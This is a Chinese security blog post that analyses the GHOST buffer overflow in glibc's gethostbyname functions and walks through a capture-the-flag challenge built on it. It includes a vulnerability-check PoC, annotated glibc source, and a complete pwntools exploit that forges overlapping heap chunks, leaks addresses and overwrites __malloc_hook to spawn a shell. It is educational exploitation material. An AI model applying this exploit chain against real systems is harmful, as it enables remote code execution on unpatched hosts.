GHOST漏洞解析与题解

阅读量143701

|

发布时间 : 2021-08-19 10:30:12

 

漏洞描述

  • glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险
  • 通过gethostbyname()函数或gethostbyname2()函数,将可能产生一个堆上的缓冲区溢出
  • 经由gethostbyname_r()或gethostbyname2_r(),则会触发调用者提供的缓冲区溢出
  • 漏洞产生时至多sizeof(char* )个字节可被覆盖
  • 影响范围:2.2 <= glibc <=2.17
  • gethostbyname*()系列函数
#include <netdb.h>

struct hostent * gethostbyname(const char * hostname);   //根据输入的主机名,查找IP地址

/* Glibc2  also  has  reentrant  versions  gethostent_r(),  gethostbyaddr_r(),  gethostbyname_r()  and gethostbyname2_r().  
   The caller supplies a hostent structure ret which will be filled in on success,  and  a  temporary work  buffer  buf  of size buflen.  
   After the call, result will point to the result on success. */
int gethostbyname_r(                            //和gethostbyname原理一样,只是内存分配交给用户
                        const char *name,         //要解析的名字
                        struct hostent *ret,     //保存返回值的地方
                        char *buf,                 //这个函数运行时的缓冲区
                        size_t buflen,             //缓冲区长度
                        struct hostent **result,//如果失败,则result为null,如果成功则指向ret
                        int *h_errnop            //保存错误代码
                  );
  • 结构体
/* Description of data base entry for a single host.  描述一个地址最基本的条目 */
struct hostent
{
  char *h_name;            /* Official name of host.  正式主机名*/
  char **h_aliases;        /* Alias list.  别名*/
  int h_addrtype;        /* Host address type.  IP地址类型*/
  int h_length;            /* Length of address.  地址长度*/
  char **h_addr_list;        /* List of addresses from name server.  IP地址列表*/
};

  • 用法
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>

int main(int argc, char** argv){
    char* name = argv[1];
    struct hostent* host = gethostbyname(name);
    if(host==NULL)
        printf("error\n");
    else{
        printf("%s\n", host->h_name);
        for(int i=0; host->h_aliases[i]!=NULL; i++)
            printf("\t%s\n", host->h_aliases[i]);

        printf("IP type %d, IP addr len %d\n", host->h_addrtype, host->h_length);
        char buffer[INET_ADDRSTRLEN];
        for(int i=0; host->h_addr_list[i]!=NULL; i++){
            char* ip = inet_ntop(host->h_addrtype, host->h_addr_list[i], buffer, sizeof(buffer));
            printf("\t%s\n", ip);
        }
    }
}

https://blog.csdn.net/daiyudong2020/article/details/51946080

  • 特殊点:如果name输入的是IP地址,则不会去DNS查询,而是直接写入到hostent指向的内存区中,这里因为没有进行合法性判断,所以输入奇怪的IP,比如检测代码中的一串0。它会被直接写入tmp.buffer,一同写入的还包括解析的主机信息。所以就很容易超过tmp.buffer的长度,造成溢出。

POC

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct
{
   char buffer[1024];
   char canary[sizeof(CANARY)];
} temp = {"buffer", CANARY};

int main(void)
{
   struct hostent resbuf;
   struct hostent *result;
   int herrno;
   int retval;
    
   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
   size_t len = sizeof(temp.buffer) - 16 * sizeof(unsigned char) - 2 * sizeof(char *) - 1;
   char name[sizeof(temp.buffer)];
   memset(name, '0', len);
   name[len] = '\0';
   
    retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
   if (strcmp(temp.canary, CANARY) != 0)
   {
      puts("vulnerable");
      exit(EXIT_SUCCESS);
   }
   if (retval == ERANGE)
   {
      puts("not vulnerable");
      exit(EXIT_SUCCESS);
   }
   puts("should not happen");
   exit(EXIT_FAILURE);
}

 

源码分析

gethostbyname函数入口点在inet/gethsbynm.c系列文件中

#define LOOKUP_TYPE	struct hostent
#define FUNCTION_NAME	gethostbyname
#define DATABASE_NAME	hosts
#define ADD_PARAMS	const char *name
#define ADD_VARIABLES	name
#define BUFLEN		1024
#define NEED_H_ERRNO	1

#define HANDLE_DIGITS_DOTS	1

#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
  •  nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,
    • 如果要解析IP的话就直接结束
    • 如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义
LOOKUP_TYPE *FUNCTION_NAME(const char *name) //函数定义
{
    static size_t buffer_size; //静态缓冲区的长度
    static LOOKUP_TYPE resbuf;
    LOOKUP_TYPE *result;

#ifdef NEED_H_ERRNO
    int h_errno_tmp = 0;
#endif

    /* Get lock.  */
    __libc_lock_lock(lock);

    if (buffer == NULL) //如果没有缓冲区就自己申请一个
    {
        buffer_size = BUFLEN;
        buffer = (char *)malloc(buffer_size);
    }

#ifdef HANDLE_DIGITS_DOTS
    if (buffer != NULL)
    {
        /*
            - 发生漏洞的函数
            - __nss_hostname_digits_dots()先对name进行预处理
                - 如果要解析的name就是IP, 那就复制到resbuf中, 然后返回1
                - 如果是域名, 那么就复制到resbuf中, 返回0
            - 如果返回1, 说明解析的就是IP, 你那么进入done, 解析结束
        */
        if (__nss_hostname_digits_dots(name,         //传入的参数: 域名
                                       &resbuf,      //解析结果
                                       &buffer,      //缓冲区
                                       &buffer_size, //缓冲区大小指针
                                       0,            //缓冲区大小
                                       &result,      //存放结果的指针
                                       NULL,         //存放状态的指针
                                       AF_VAL,       //地址族
                                       H_ERRNO_VAR_P //错误代码
                                       ))
            goto done;
    }
#endif

    /* DNS域名解析,宏展开
   *    (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) 
   * => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) 
   * => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp) 
   * => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
  */
    while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)
#ifdef NEED_H_ERRNO
           && h_errno_tmp == NETDB_INTERNAL
#endif
    )
    {
        char *new_buf;
        buffer_size *= 2;
        new_buf = (char *)realloc(buffer, buffer_size);
        if (new_buf == NULL)
        {
            /* We are out of memory.  Free the current buffer so that the
         process gets a chance for a normal termination.  */
            free(buffer);
            __set_errno(ENOMEM);
        }
        buffer = new_buf;
    }

    if (buffer == NULL)
        result = NULL;

#ifdef HANDLE_DIGITS_DOTS
done:
#endif
    /* Release lock.  */
    __libc_lock_unlock(lock);

#ifdef NEED_H_ERRNO
    if (h_errno_tmp != 0)
        __set_h_errno(h_errno_tmp);
#endif

    return result;
}
  • 漏洞函数:nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)
    • 这个函数负责处理name为IP地址的情况, 当name为域名时只是进行一些复制工作
    • name指向要解析的字符串
    • resbuf指向存放解析结果的hostennt结构体
    • buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char *name,        //要解析的名字
                               struct hostent *resbuf,    //存放结果的缓冲区
                               char **buffer,            //缓冲区
                               size_t *buffer_size,        //缓冲区长度 1K
                               size_t buflen,            //0
                               struct hostent **result, //指向结果指针的指针
                               enum nss_status *status, //状态 NULL
                               int af,                    //地址族
                               int *h_errnop)            //错误代码
{
    int save;

    //...

    /*
   * disallow names consisting only of digits/dots, unless they end in a dot.
   * 不允许name只包含数字和点,除非用点结束
   */
    if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号,就判断为IP地址
    {
        const char *cp;
        char *hostname;

        //host_addr是一个指向16个unsignned char数组的指针
        typedef unsigned char host_addr_t[16];
        host_addr_t *host_addr;

        //h_addr_ptrs就是一个指向两个char*数组的指针
        typedef char *host_addr_list_t[2];
        host_addr_list_t *h_addr_ptrs;

        //别名的指针列表
        char **h_alias_ptr;

        //需要的空间
        size_t size_needed;

        //根据地址族计算IP地址长度
        int addr_size;
        switch (af)
        {
        case AF_INET:              //IPV4
            addr_size = INADDRSZ; //INADDRSZ=4
            break;

        case AF_INET6:               //IPV6
            addr_size = IN6ADDRSZ; //IN6ADDRSZ=16
            break;

        default:
            af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET;
            addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ;
            break;
        }

        //计算函数运行所需要的缓冲区大小,这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出
        size_needed = (sizeof(*host_addr) + sizeof(*h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1

        //如果buffer_size指针为空, 并且buflen还不够, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错
        if (buffer_size == NULL)
        {
            if (buflen < size_needed)
            {
                if (h_errnop != NULL)
                    *h_errnop = TRY_AGAIN;
                __set_errno(ERANGE);
                goto done;
            }
        }
        else if (buffer_size != NULL && *buffer_size < size_needed) //如果给的缓冲区不足,就重新调整buffer空间
        {
            char *new_buf;
            *buffer_size = size_needed;                          //新buffer_size
            new_buf = (char *)realloc(*buffer, *buffer_size); //就把buffer空间调整到所需要的大小
            //分配失败
            if (new_buf == NULL)
            {
                save = errno;
                free(*buffer);
                *buffer = NULL;
                *buffer_size = 0;
                __set_errno(save);
                if (h_errnop != NULL)
                    *h_errnop = TRY_AGAIN;
                *result = NULL;
                goto done;
            }
            *buffer = new_buf; //写入新缓冲区
        }

        //缓冲区初始化
        memset(*buffer, '\0', size_needed);

        //对缓冲区进行分割
        host_addr = (host_addr_t *)*buffer;                                            //占用0x10B        [*buffer, *buffer + 0x10)
        h_addr_ptrs = (host_addr_list_t *)((char *)host_addr + sizeof(*host_addr)); //占用0x10B        [*buffer + 0x10, *buffer + 0x20)

        //这里出了问题,没有给h_alias_ptr分配空间,因此产生溢出
        h_alias_ptr = (char **)((char *)h_addr_ptrs + sizeof(*h_addr_ptrs)); //占用0x8B                [*buffer + 0x20, *buffer + 0x28)
        hostname = (char *)h_alias_ptr + sizeof(*h_alias_ptr);                 //占用strlen(name)+1    [*buffer + 0x28, *buffer + 0x28 + strlen(name) + 1)

        if (isdigit(name[0])) //IPv4: 开头是数字
        {
            for (cp = name;; ++cp) //遍历name
            {
                if (*cp == '\0') //如果name结束了
                {
                    int ok;

                    if (*--cp == '.') //如果是.\0这样的,则非法
                        break;

                    //IP地址是字符串表示,转换成网络序列保存在host_addr中, host_addr用的就是函数内部的缓冲区*buffer
                    if (af == AF_INET)
                        ok = __inet_aton(name, (struct in_addr *)host_addr);
                    else
                    {
                        assert(af == AF_INET6);
                        ok = inet_pton(af, name, host_addr) > 0;
                    }

                    //转换出错
                    if (!ok)
                    {
                        *h_errnop = HOST_NOT_FOUND;
                        if (buffer_size)
                            *result = NULL;
                        goto done;
                    }

                    //直接把name复制到hostname中, 用hostname作为结果中的h_name
                    //strcpy从*buffer+0x28开始写入strlen(name)+1, 产生溢出
                    resbuf->h_name = strcpy(hostname, name);

                    //没有别名
                    h_alias_ptr[0] = NULL;
                    resbuf->h_aliases = h_alias_ptr;

                    //h_addr_list只有一个
                    (*h_addr_ptrs)[0] = (char *)host_addr; //地址也是一样的
                    (*h_addr_ptrs)[1] = NULL;
                    resbuf->h_addr_list = *h_addr_ptrs;

                    //设置长度与IP地址类型
                    if (af == AF_INET && (_res.options & RES_USE_INET6))
                    {
                        //...
                    }
                    else
                    {
                        resbuf->h_addrtype = af;
                        resbuf->h_length = addr_size;
                    }

                    //返回的状态
                    //...

                    //结束
                    goto done;
                }

                if (!isdigit(*cp) && *cp != '.') //既不是字母,又不是. 那么就不是合法的IPv4,退出
                    break;
            }
        }

        if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号
        {
            //...
        }
    }

    return 0;

done:
    return 1;
}
  • 判断IP地址的方法很简陋

  • 在生成hostent结构体时出了问题没有计算h_alias_ptr

图示:

  • 因此把hostname复制过去,在这里产生了溢出8B

  • 函数的数据结构:

 

题目解析

题目源码

//gcc pwn.c -g -o pwn
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <arpa/inet.h>
#define MAX 16

struct hostent* HostArr[MAX];
char* BufferArr[MAX];
char* NameArr[MAX];

int Menu(void)
{
    puts("1.InputName");
    puts("2.ShowHost");
    puts("3.Delete");
    puts("4.Exit");
    printf(">>");
    int cmd;
    scanf("%d", &cmd);
    return cmd;
}

void InputName(void)
{
    //read idx
    int idx;
    printf("idx:");
    scanf("%d", &idx);
    if(idx<0 || idx>=MAX)
        exit(0);

    //alloc name buf
    int len;
    printf("len:");
    scanf("%d", &len);
    NameArr[idx] = malloc(len+1);
    if(NameArr[idx]==NULL)
        exit(0);

    //read name
    int i;
    for(i=0; i<len; i++)
    {
        char C;
        read(0, &C, 1);
        NameArr[idx][i] = C;
        if(NameArr[idx][i]=='\n')
            break;
    }
    NameArr[idx][i]='\0';

    //allloc buffer
    int buffer_size = 0x20+len+1;
    BufferArr[idx] = malloc(buffer_size);

    //get host by name
    HostArr[idx] = malloc(sizeof(struct hostent));
    struct hostent* res;    
    int herrno;
    gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);
}

void ShowHost(void)
{
    //read idx
    int idx;
    printf("idx:");
    scanf("%d", &idx);
    if(idx<0 || idx>=MAX)
        exit(0);

    struct hostent* host = HostArr[idx];

    //host name
    if(host->h_name!=NULL)
        printf("%s\n", host->h_name);

    //IP
    if(host->h_addr_list!=NULL)
           for(int i=0; host->h_addr_list[i]!=NULL; i++){
            char* ip = host->h_addr_list[i];
            printf("%s\n", ip);
        }
}

void Delete(void)
{
    //read idx
    int idx;
    printf("idx:");
    scanf("%d", &idx);
    if(idx<0 || idx>=MAX)
        exit(0);

    free(NameArr[idx]);
    NameArr[idx]=NULL;
    free(BufferArr[idx]);
    BufferArr[idx]=NULL;
    free(HostArr[idx]);
    HostArr[idx]=NULL;
}

int main(int argc, char** argv)
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    int cmd=0;
    while(1)
    {
        cmd = Menu();
        if(cmd==1)
            InputName();
        else if(cmd==2)
            ShowHost();
        else if(cmd==3)
            Delete();
        else
            break;
    }
    return 0;
}
  • 编译时保护全开

  • patchelf让编译出的文件使用2.17的libc
    patchelf --set-interpreter `pwd`/ld.so.2 --set-rpath `pwd` ./pwn
    

 

思路

  • 构造chunk重叠
    • 覆盖size的目的是构造chunk重叠, 这样才能控制堆上的各种指针
    • __nss_hostname_digits_dots向buffer写入时要求只能是.和十进制字符, 实测发现只写入0是最稳定可以溢出的
    • hostent的size本来就是0x30, 只覆盖为一个’0’也还是0x30, 因此覆盖两个0, 让chunksize变成0x3030
  • 自此又产生了三种思路,
    • 如果覆盖为0x3031, 在chunk后面放0x21的在使用chunk, 直接得到一个非常大的UBchunk
    • 使用top chunk作为后一个chunk, 从而与top合并
    • 如果覆盖为0x3030, 那么可以通过P=0向前合并
  • free时的检查

  • check_in_chunk()检查最少的就是后一个chunkP=1, 并且不是top chunk的情况,

  • 因此溢出Bufer的size为0x3031之后, 只需要再Buffer chunk+0x3030处伪造放上一个flat(0, 0x21, 0, 0)的chunk就可得到一个很大的UBchunk
  • __nss_hostname_digits_dots在写入时对于name限制很多, 因此我们只用他去溢出size, 读入name的过程对字符限制很少, 因此总体思路为
    • 利用gethostbyname_r()溢出size
    • 利用read(0, name, ..)进行写入任意数据

泄露地址

  • Show时会通过hostent结构体中得到指针进行输出, 因此我们打出chunk 重叠之后, 有两个思路
    • 利用00写入覆盖hostent.h_name指针的最低字节, 使其指向某个指针, 然后泄露地址
    • 直接Bin机制在hostent中写入指针, 然后写入地址
  • 第二种更具有普适性, 不需要细致的调整, 因此选择第二个思路:
    • 假如有N0 | B0|H0 | N1 | B1 | H1
    • 利用__nss_hostname_digits_dots()在写入B0时溢出0的chunk size为0x3031
    • 然后通过布局在H0+0x3030的位置放上flat(0, 0x21, 0, 0)伪造H0的nextchunk
      f – ree(H0)即可打出chunk 重叠, 此时UB<=>(B0, H0, N1, B1, H1)
    • 然后通过切割UB, 使得UB的fd bk指针写入到H1内部, 如下图
    • 然后show(3)即可泄露地址

getshell

  • 有了地址之后getshell就很容易了
    • 再N1 B1 H1后面通过布局0x70的chunk, 然后free掉, 进入Fastbin[0x70]
    • 然后继续切割chunk, 修改fastbin chunk的fd为__malloc_hook-0x23, 利用0x7F伪造size
    • 然后修改__malloc_hook为OGG

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint

context.log_level = 'debug'
context(arch='amd64', os='linux')

elf_path = "./pwn"

elf = ELF(elf_path)
libc = ELF('libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    cmd = [elf_path]
    sh = process(cmd)
    #proc_base = sh.libs()['/home/parallels/pwn']
else:                            #remtoe
    sh = remote('118.190.62.234', 12435)

def Num(n):
    sh.sendline(str(n))

def Cmd(n):
    sh.recvuntil('>>')
    Num(n)

def Name(idx, name):
    Cmd(1)
    sh.recvuntil('idx:')
    Num(idx)
    sh.recvuntil('len:')
    Num(len(name))
    sh.sendline(name)

def Show(idx):
    Cmd(2)
    sh.recvuntil('idx:')
    Num(idx)

def Delete(idx):
    Cmd(3)
    sh.recvuntil('idx:')
    Num(idx)

#chunk overlap
Name(0, '0'*0x2F)
Name(1, '0'*0x40+'10')
Name(2, '0'*0x5F)

Name(3, '0'*0x1F)
Delete(3)
Name(3, '0'*0x1F)        #switch Name and Host

Name(10, '0'*0x5F)
Name(11, '0'*0x5F)
Name(12, '0'*0x5F)
Name(13, '0'*0x5F)


exp = '0'*0x2950
exp+= flat(0, 0x21, 0, 0)    #B0's next chunk
Name(5, exp)
Delete(1)                #UB<=>(H0, 0x3030)

#leak addr
exp = '0'.ljust(0x7F, '\x00')
Name(6, exp)            #split UB chunk, H3's h_addr_list=UB's bk
Show(3)

sh.recvuntil('0'*0x1F+'\n\n')
heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358
Log('heap_addr')
sh.recv(17)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8
Log('libc.address')

#fastbin Attack
Delete(10)
exp = '0'*0x4F
Name(7, exp)

exp = '0'*0x10
exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)
exp = exp.ljust(0xBF, '0')
Name(7, exp)

Name(8, '0'*0x5F)

exp = '0'*0x13
exp+= p64(libc.address+0x462b8)
Name(8, exp.ljust(0x5F, '0'))


#gdb.attach(sh, '''
#heap bins
#telescope 0x202040+0x0000555555554000 48
#break malloc
#''')



sh.interactive()

'''
NameArr            telescope 0x202040+0x0000555555554000
HostArr            telescope 0x2020C0+0x0000555555554000
BufferArr        telescope 0x2022C0+0x0000555555554000 

0x46262 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rax == NULL

0x462b8 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe66b5 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

'''

本文由一只狗原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/250852

安全客 - 有思想的安全新媒体

分享到:微信
+12赞
收藏
一只狗
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66